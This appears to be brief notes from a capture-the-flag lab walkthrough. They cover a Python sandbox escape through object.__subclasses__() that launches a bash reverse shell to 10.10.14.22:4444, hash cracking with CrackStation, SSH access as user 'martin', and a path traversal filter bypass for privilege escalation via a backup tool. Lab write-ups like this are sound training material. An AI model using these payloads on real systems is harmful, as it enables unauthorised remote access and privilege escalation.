Code

Nmap scan


Import does not work. Loop to search for a specific class when you want to obtain it dynamically.
for i, cls in enumerate(() .__class__.__bases__[0].__subclasses__()):
print(i, cls.__name__)

It retrieves the 318th class from the object.__subclasses__() list.
It instantiates this class by passing it a shell command that opens a reverse shell to 10.10.14.22:4444 as an argument.
().__class__.__bases__[0].__subclasses__()[317]("bash -c 'bash -i >& /dev/tcp/10.10.14.22/4444 0>&1'", shell=True)

Create server http with python for download file on machine.

I use crackstations for cracking password.
https://crackstation.net/

I connected with martin account in ssh.

Escalation privilege

Backy tool: https://github.com/vdbsh/backy
Backy is a tiny multiprocessing utility for file backups

Path Traversal https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Directory%20Traversal/README.md.
I use /home/....//root/ for bypass filter.
